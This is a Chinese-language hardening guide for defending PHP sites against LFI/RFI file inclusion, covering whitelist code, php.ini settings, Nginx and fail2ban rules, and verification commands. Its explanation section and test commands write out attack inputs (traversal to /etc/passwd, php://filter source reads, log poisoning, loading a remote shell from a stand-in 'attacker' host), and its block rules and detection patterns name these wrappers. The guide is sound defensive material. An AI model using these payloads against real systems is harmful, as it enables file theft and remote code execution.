LFI/RFI 文件包含防御实战:PHP 加固配置

LFI/RFI 文件包含防御实战:PHP 加固配置

LFI/RFI 文件包含漏洞防御是 PHP 站点安全加固中优先级最高的项目之一。只要代码里存在一处 include $_GET['page'],攻击者即可读取 /etc/passwd、用 php://filter 下载源码,或通过日志投毒写入 webshell 完成远程代码执行。本文从静态定位、代码白名单改造、php.ini 加固、Nginx 拦截到验证,给出可复现的完整方案。

适用场景

  • 自研 PHP 站点或老 CMS,模板加载、语言包加载、模块路由使用了动态 include。
  • 站点已上线 WAF,但仍被测出可读取本地文件。
  • 需要在不改动业务逻辑的前提下,用配置层与网关层做纵深防御。

前置条件

  • PHP 7.4 / 8.x + Nginx 或 Apache,具备 php.ini 与 vhost 配置写权限。
  • 可重启 php-fpm:systemctl restart php8.2-fpm
  • 已确认站点存在可回滚的部署版本。

原理说明

文件包含漏洞的成因是 include/require 的路径参数由外部输入拼接,且未做白名单校验。常见利用路径包括:

  • 本地文件包含(LFI)?page=../../../../etc/passwd 读取系统文件;?page=php://filter/convert.base64-encode/resource=config.php 读取源码中的数据库口令。
  • 日志投毒:向访问日志写入含 PHP 代码的 User-Agent,再用 ?page=/var/log/nginx/access.log 包含并执行,形成 RCE。
  • 远程文件包含(RFI):当 allow_url_include = On 时,?page=http://attacker/shell.txt 直接加载远程恶意脚本。
  • 伪协议data://php://inputexpect:// 绕过基于路径字符串的过滤。

防御的核心是三层:代码层白名单切断不可控输入,配置层关闭危险函数与协议,网关层在请求到达 PHP 前拦截特征。

从实测样本看,攻击者常用的 payload 集中在六个方向,理解它们有助手写拦截规则:目录穿越序列(../../../ 及其单次、双重 URL 编码变体)、PHP 包装器(php://filterphp://input)、数据流包装器(data://)、归档包装器(phar://,常用于反序列化)、命令包装器(expect://)、以及指向日志与临时目录的绝对路径(/var/log/nginx/access.log/tmp/sess_*)。其中 phar:// 值得特别注意:它不仅可以读文件,还会在解析元数据时触发反序列化,把一个纯读取型漏洞升级为代码执行,因此拦截规则必须覆盖,且不应允许上传目录中出现 phar 文件。

还有一类常被忽略的路径:flag 参数与「文件下载」「头像裁剪」「内容导入」等功能。这些接口表面与模板加载无关,实际同样接收文件名或路径参数,属于 LFI 的高发区。加固时应把所有接收路径类参数的接口纳入同一套白名单框架,而不是只盯 index.php 的路由入口。

操作步骤

第一步:静态定位动态包含点

cd /www/wwwroot/site
grep -rnE "(include|include_once|require|require_once)\s*\(?[^;]*\\\$_(GET|POST|REQUEST|COOKIE)" --include='*.php' .
grep -rnE "php://|data://|phar://|expect://" --include='*.php' .
grep -rnE "fopen|file_get_contents|readfile|highlight_file" --include='*.php' . | grep '\$_'

把命中的文件与行号整理成修复清单。框架项目还需检查模板引擎的自定义标签与路由分发逻辑。

第二步:代码层白名单改造

错误做法(路径拼接 + 黑名单过滤):

$page = $_GET['page'];
include("./pages/" . $page . ".php");

正确做法(枚举白名单 + basename 归一化):

$allowed = ['home', 'about', 'contact', 'news'];
$page = isset($_GET['page']) ? basename($_GET['page']) : 'home';
$page = preg_replace('/[^a-zA-Z0-9_-]/', '', $page);
if (!in_array($page, $allowed, true)) {
    http_response_code(404);
    exit('Not Found');
}
include __DIR__ . '/pages/' . $page . '.php';

关键点:basename() 剥离目录穿越序列,in_array(…, true) 严格比较防止类型绕过,__DIR__ 固定基目录避免相对路径受工作目录影响。

第三步:php.ini 加固

allow_url_include = Off
allow_url_fopen = Off
open_basedir = /www/wwwroot/site:/tmp
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,expect_popen
display_errors = Off
log_errors = On
expose_php = Off
session.use_strict_mode = 1

allow_url_include = Off 从根上消灭 RFI;allow_url_fopen = Off 阻断远程资源读取;open_basedir 把文件访问限制在站点目录与 /tmp,即使被绕过程序逻辑也无法读到 /etc/passwd。修改后重启:

systemctl restart php8.2-fpm
php -i | grep -E "allow_url_include|open_basedir|disable_functions"

第四步:日志文件权限与位置隔离

日志投毒的前提是 Web 进程可读日志。把站点日志移出 open_basedir 覆盖范围,且用独立用户写日志:

chown -R www-data:adm /var/log/nginx
chmod 0750 /var/log/nginx
chmod 0640 /var/log/nginx/access.log

# php-fpm 池配置 /etc/php/8.2/fpm/pool.d/www.conf
php_admin_value[open_basedir] = /www/wwwroot/site:/tmp

注意:若必须在日志中记录 User-Agent,务必对换行与 <?php 序列做转义,避免日志本身成为 payload 载体。

第五步:Nginx 网关层拦截

# 拦截目录穿越与伪协议特征
if ($request_uri ~* "(\.\./|\.\.%2f|%2e%2e/|%252e%252e)") {
    return 403;
}
if ($args ~* "(php://|data://|phar://|expect://|file://|zip://)") {
    return 403;
}
if ($args ~* "(%00|\\x00)") {
    return 403;
}

# 禁止直接访问敏感文件,降低 LFI 可读目标数量
location ~* \.(log|ini|conf|bak|sql|old|swp|env)$ {
    deny all;
    return 404;
}
location ~ /\.(git|svn|env) {
    deny all;
    return 404;
}

# 限制上传目录执行权限
location ^~ /uploads/ {
    location ~ \.php$ { return 403; }
}

return 404403 更好:不向攻击者暴露「该路径存在但被拒绝」这一信息。上传目录禁执行是阻断 LFI 落地 webshell 后执行的关键一步。

第六步:文件系统最小权限

chown -R www-data:www-data /www/wwwroot/site
find /www/wwwroot/site -type d -exec chmod 0755 {} \;
find /www/wwwroot/site -type f -exec chmod 0644 {} \;
chmod 0600 /www/wwwroot/site/config/database.php

即使 LFI 成功读取源码,0600 的配置文件仍可让 Web 进程读到内容(因进程属主相同),因此更可靠的做法是把数据库口令改由环境变量注入,并对该文件使用独立属主。

第七步:攻击检测与告警

拦截只是止损,发现尝试同样重要。Nginx 访问日志中检索穿越与伪协议特征:

grep -aEi "(\.\./|%2e%2e|php://|data://|phar://|expect://|%00)" /var/log/nginx/access.log | tail -50
# 按来源 IP 统计尝试次数
grep -aEi "(\.\./|php://|phar://)" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20

对持续尝试的 IP 用 fail2ban 自动封禁,规则文件 /etc/fail2ban/filter.d/nginx-lfi.conf

[Definition]
failregex = ^<HOST> .* "(GET|POST|HEAD) [^"]*(\.\./|%2e%2e|php://|data://|phar://|expect://)[^"]* HTTP/.*"( 403| 404| 200)
ignoreregex =

# jail.local
[nginx-lfi]
enabled  = true
port     = http,https
filter   = nginx-lfi
logpath  = /var/log/nginx/access.log
maxretry = 5
findtime = 300
bantime  = 86400

需要强调:fail2ban 是补偿措施,不是替代品。它只能拦住低水平扫描器,对低频、定向的攻击绕过效果有限,真正的防线仍是代码白名单与 open_basedir。

配置验证

# 1. 校验 PHP 配置生效
curl -s "https://site.example.com/phpinfo.php" | grep -E "allow_url_include|open_basedir"

# 2. 目录穿越被拦截(期望 403)
curl -s -o /dev/null -w "%{http_code}\n" "https://site.example.com/index.php?page=../../../../etc/passwd"

# 3. 伪协议被拦截(期望 403)
curl -s -o /dev/null -w "%{http_code}\n" "https://site.example.com/index.php?page=php://filter/convert.base64-encode/resource=config.php"

# 4. 非法白名单值返回 404(期望 404)
curl -s -o /dev/null -w "%{http_code}\n" "https://site.example.com/index.php?page=notexist"

# 5. 正常页面仍可访问(期望 200)
curl -s -o /dev/null -w "%{http_code}\n" "https://site.example.com/index.php?page=about"

验证完成后删除 phpinfo.php。

常见问题

Q1:设置 open_basedir 后站点大量报「failed to open stream: Operation not permitted」怎么办?

这是把 session、上传临时目录、缓存目录漏在限制外导致的。按报错路径逐个补入白名单,常见需要追加的路径:

open_basedir = /www/wwwroot/site:/tmp:/var/lib/php/sessions:/www/cache
php_admin_value[upload_tmp_dir] = /tmp
php_admin_value[sys_temp_dir] = /tmp
php_admin_value[session.save_path] = /var/lib/php/sessions

仍报错时执行 php -i | grep -E "session.save_path|upload_tmp_dir" 核对实际生效路径,再补入。切忌为省事直接改成 open_basedir = /,那等于放弃这层防护。

Q2:已经上了 WAF,为什么 LFI 还能打通?

常见三种绕过的成因:一是 WAF 只对 URL 编码一次解码,攻击者用双重编码 %252e%252e%252f 绕过;二是把 payload 放在 Cookie、Referer 或 POST body 中,WAF 规则未覆盖该字段;三是 php://filter 链过长被截断比对。处理方式:让 WAF 对同一请求执行多轮解码后再匹配,把目录穿越规则同时应用到 URL、Body、Cookie 三个位置,并在 Nginx 层做一次前置拦截(本文第五步)承担兜底。

Q3:用了框架(ThinkPHP、Laravel)还需要做这些吗?

需要。框架自身的路由与模板加载通常安全,但项目里自写的 include、插件、富文本图片抓取、导出模块往往仍存在动态包含。建议先跑第一步的 grep 清单,重点看 app/plugins/vendor/ 之外的自研目录。

总结

LFI/RFI 防御不能只靠代码修补。正确姿势是三层同时落地:代码层枚举白名单让输入不可控的部分彻底消失,php.ini 层关闭 allow_url_include 与 allow_url_fopen 并启用 open_basedir把最坏后果限制在单一目录内,网关层拦截穿越序列与伪协议在请求进入 PHP 之前就终止。最后配合日志目录权限收紧与上传目录禁执行,可把「任意文件读取」的利用链在任意一环截断。